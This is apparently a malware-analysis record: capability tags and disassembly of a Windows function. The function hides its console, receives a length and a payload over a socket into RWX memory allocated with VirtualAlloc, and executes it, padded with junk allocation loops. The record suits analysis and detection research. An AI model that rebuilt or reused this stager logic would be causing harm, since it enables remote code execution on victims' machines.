Function at 0x401998
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window
Receive data
Receive data on socket

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0x14384
call fcn.00402b70
sub esp, eax
call dbg.__main
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [ebp - 0xc], 0
jmp 0x4019f8
mov dword [esp], 0x1025
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x1d50], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x74c
jle 0x4019dc
call sym._KdZnuPjiosZmZDY
call sym._kepnxWfybDgpBrD
mov dword [ebp - 0xa94c], eax
mov dword [ebp - 0xc], 0
jmp 0x401a36
mov dword [esp], 0x213c
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xa948], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x22fd
jle 0x401a1a
mov eax, dword [ebp - 0xa94c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
lea edx, [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jne 0x401a79
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401a87
mov eax, dword [ebp - 0xa94c]
mov dword [esp], eax
call sym._zFJYtlemIedOSJf
mov eax, dword [ebp - 0x1c]
add eax, 5
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
jmp 0x401add
call sym._rWRnaJDHT
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0x1d50]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x74c
jle 0x401abe
cmp dword [ebp - 0x14], 0
jne 0x401afa
mov eax, dword [ebp - 0xa94c]
mov dword [esp], eax
call sym._zFJYtlemIedOSJf
mov eax, dword [ebp - 0x14]
mov byte [eax], 0xbf
mov eax, dword [ebp - 0x14]
lea edx, [eax + 1]
mov eax, dword [ebp - 0xa94c]
mov dword [edx], eax
mov dword [ebp - 0xc], 0
jmp 0x401b33
mov dword [esp], 0x8fc
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x14378], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x268a
jle 0x401b17
mov dword [ebp - 0xc], 0
jmp 0x401b64
call sym._IVnQEndGoXzmf
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0xa948]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x22fd
jle 0x401b45
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov eax, dword [ebp - 0x14]
lea edx, [eax + 5]
mov eax, dword [ebp - 0xa94c]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._mIJqrCvvRyHYSA
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
call eax
mov dword [ebp - 0xc], 0
jmp 0x401bc4
call sym._QTNhxVeNOzYuR
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0x14378]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x268a
jle 0x401ba5
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret